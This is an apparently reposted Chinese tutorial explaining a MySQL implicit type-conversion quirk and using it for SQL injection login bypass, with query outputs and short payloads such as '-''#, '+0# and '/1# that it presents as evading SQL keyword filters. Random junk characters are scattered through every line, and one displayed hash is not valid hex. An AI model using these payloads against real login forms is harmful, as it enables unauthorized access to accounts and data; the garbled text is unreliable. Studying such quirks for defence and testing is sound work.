我们先来看这样一个场景。* _8 P# S/ O% g9 q3 N) O
有以下表结构:
) P0 a& x: k) d
8 Y' O0 e1 C$ [' S" R) P# V! pmysql> desc admin;% k1 q2 V. Z9 y! d h# J0 a1 W
+----------+--------------+------+-----+---------+----------------+
! F9 v# E; Q) O! Y+ W* Y| Field | Type | Null | Key | Default | Extra |
/ o/ Z% S: A5 C. E+----------+--------------+------+-----+---------+----------------+
/ Q8 `7 p( N) o; P| id | mediumint(9) | NO | PRI | NULL | auto_increment |
5 S7 W* y% |- @* U| name | char(32) | NO | UNI | NULL | |$ s5 n, v o& z2 I( Q
| password | char(32) | NO | UNI | NULL | |
: Q6 n3 Z" W. L1 S( |/ B6 G/ W, ?; s+----------+--------------+------+-----+---------+----------------+
$ s) u' x4 K; G3 rows in set (0.00 sec), t; {; ~3 L% o/ d$ b) W
执行select * from admin;,成功返回所有记录内容。
0 g. l& |9 A( g0 P; I! v$ O# P& v0 o, H8 [# ~5 Y
4 r r% I* p/ W/ ?7 l
+----+--------+----------------------------------+
. ~! x0 m: P4 ~| id | name | password |
X1 [/ `' W' F# M) k+----+--------+----------------------------------+
+ F. m4 K, s) P1 |: c| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
5 G( T2 p- q+ z6 e- @6 G& |4 Z| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |7 r* J6 ]) M1 J
| 4 | n00b | ff80e8508d39047460921792273533a4 |4 M7 @0 G( l3 F( \) h! u# i* B9 {
+----+--------+----------------------------------+
F/ `& ^, [! ^2 M3 y) W3 rows in set (0.00 sec)6 o8 ?# L" ?9 d* v8 |3 @
执行select * from admin where name=”;,没有匹配到任何记录。 & i; W/ ]# F0 I8 H6 p2 v& l0 h- ^! q
( \3 q9 o u% v8 pmysql> select * from admin where name = '';% v# t8 K* O4 g% ?
Empty set (0.00 sec)
/ V( d4 W$ y4 X% O2 H# Z* z那么我们来执行select * from admin where name = ”-”;* k# X( ~0 e4 \' D
4 a' \/ o7 G: C5 N1 z3 @: J/ @% @2 u- T7 [3 b& W1 }
+----+--------+----------------------------------+' J; Y3 \+ e- V. {/ C7 V
| id | name | password |
; i# Q) S% }' O+----+--------+----------------------------------+" ~ F. G0 x7 E+ K4 Z5 k6 ]! ` ]
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |6 c8 l( K1 Q' E+ ^$ b
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |8 q' L0 H7 a0 ?; l2 B2 J% k
| 4 | n00b | ff80e8508d39047460921792273533a4 |1 I, L. x; h1 E: O+ Z9 G3 M# b
+----+--------+----------------------------------+
5 a6 H0 v5 Y y5 K3 rows in set, 3 warnings (0.00 sec)- P! O' }2 [( i& H+ Q9 p& S
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 7 U9 x' b4 d( T/ S7 C8 B, w
& p! B3 ~4 H5 w% q
mysql> show warnings;
% w/ b \# `# y" {+---------+------+------------------------------------------
& ?5 ^8 l: l" e2 F% d0 o" `| Level | Code | Message6 s8 e% o' p& h+ n% y* {1 Z
+---------+------+------------------------------------------5 o0 p- q' z' S
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin$ H; Q6 ^7 f4 C0 V- N7 f- H' @0 Q
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
0 S6 {, i( r r| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b6 Y0 n$ N* [9 ?
+---------+------+------------------------------------------
* u( a1 R- f5 Y& D! n' f+ r3 rows in set (0.00 sec)
- o2 F# B: ]/ J6 [# }! l/ X7 ~- \提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 + h6 t& z3 I; \" l1 A
4 O2 w1 a+ d: I1 k8 M/ Gmysql> select ''-'';
8 D) Q6 E0 w, o* \0 L7 e- T/ z) |( k5 e+-------+( w; m6 Y& i G n: V
| ''-'' |
6 h. _6 C( O/ k* B; B8 G+-------+* d+ F A$ c" R0 t
| 0 |
, U! K0 p: v2 V" {% d( L3 O9 E+-------+
! i F6 W) ~5 p9 g( q1 row in set (0.00 sec)
3 X# d9 R& u. e* B返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
* { W; {8 u) ~1 O. l% L7 s$ I4 X& B$ a9 S
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);( D# @/ V0 w- v' ?5 y4 H3 U
+-----------------------------------------------------+
2 v* D* p+ D+ ]/ z) o| CAST((select name from admin limit 1,1) as DECIMAL) |
+ E0 p" ~ J5 l7 ~5 G$ G+-----------------------------------------------------+$ h& s6 K; U* q! j9 d5 t6 d6 x
| 0 |
1 I' c# W+ _+ j$ r+-----------------------------------------------------+
9 _0 P8 a# A- ]1 row in set, 1 warning (0.00 sec)! t" ^) ]/ j, A$ g. Y3 M
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 * |! b. @* Y( a
$ c! i, V5 K' u4 C, P/ p8 U! SSQL注入场景: http://www.sqlzoo.net/hack/ * V1 ^5 Z) O* p J5 P3 g$ B
* Q: c, R, q) u( |; M9 k2 a$ C( ]+ e
" o/ U( O# j7 N" r8 g9 Q3 c" d* ^2 P5 N. q( h
# F) [, O v) P, O$ O$ p如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 % X! t6 i8 z# g' \5 @& [
5 t- A% J2 g9 e, Z) |那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 5 y; i. ?3 g2 Z8 ?8 K. n7 Q* r% j8 Z
Z4 r5 g: B# `
' A, P5 U; L% p" P& F$ X
; m) C! a; ?; x- l( |) S
; l; `" Y9 D" i: A! u
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
2 i( D. y- P2 _# ]' x K& l% A
& Z6 a$ j; ]0 A% [$ T2 v: X8 { ' v; ]$ S4 H9 j* ^
, e$ q9 U- j* @9 u- M除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可1 |& j1 i/ P* w; z
- M9 }/ h1 t+ n1 A! b! F N; O' s1 }% j# {2 _
mysql> select ''/1;4 k; @/ ?0 t! M7 d. _
+------+
+ ]- B1 g8 X- |5 I+ }$ b| ''/1 |- H' j. |5 w1 r1 `# ~
+------+( d* \( \( ] D5 I# s
| 0 |) ^8 w: ]( T4 N; |- V
+------+
) s: n+ q+ W( \; |3 }9 y1 row in set (0.00 sec)
5 L. x6 [ `4 y类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 - p: P% v9 w% j3 Q, ]9 J
; w6 ^4 \9 ?6 K7 L# v9 h
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。0 Y$ c* i) n$ K6 l* o5 t
|
|